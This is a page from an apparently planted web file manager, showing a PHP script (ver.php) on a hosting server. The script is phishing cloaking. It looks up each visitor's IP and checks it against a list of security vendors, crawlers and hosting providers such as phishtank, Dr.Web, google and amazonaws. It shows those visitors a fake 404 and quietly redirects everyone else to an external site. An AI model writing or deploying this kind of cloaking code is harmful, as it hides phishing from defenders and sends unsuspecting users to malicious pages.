Файловый менеджер - Редактировать - /var/www/vhosts/studiocol.dev1.mndrn.cloud/ver.php
Назад
<?php function getData($ip){ // Get cURL resource $curl = curl_init(); // Set some options - we are passing in a useragent too here curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => "https://ip.nf/$ip.json?callback=jQuery_12345", CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0' )); // Send the request & save response to $resp $resp = curl_exec($curl); // Close request to clear up some resources $ipDetails = json_decode($resp,true); $returned_res = $resp; $blocked_words = array("aruba","OVH","beget","drweb","Dr.Web","hostinger","scanurl","above","google","facebook","softlayer","amazonaws","cyveillance","phishtank","dreamhost","netpilot","calyxinstitute","tor-exit",); foreach($blocked_words as $word) { if (strrpos(strtoupper($returned_res), strtoupper($word)) ) { return true; } } return false; } $ip = $_SERVER['REMOTE_ADDR']; if(getData($ip)){ header("HTTP/1.0 404 Not Found"); die("<h1>404 Not Found</h1>The page that you have requested could not be found."); exit; }else{ ?> <META http-equiv="refresh" content="0;http://www.opirimini.it/tft_fr/"> <?php }?>
| ver. 1.4 |
Github
|
.
| PHP 8.2.5 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка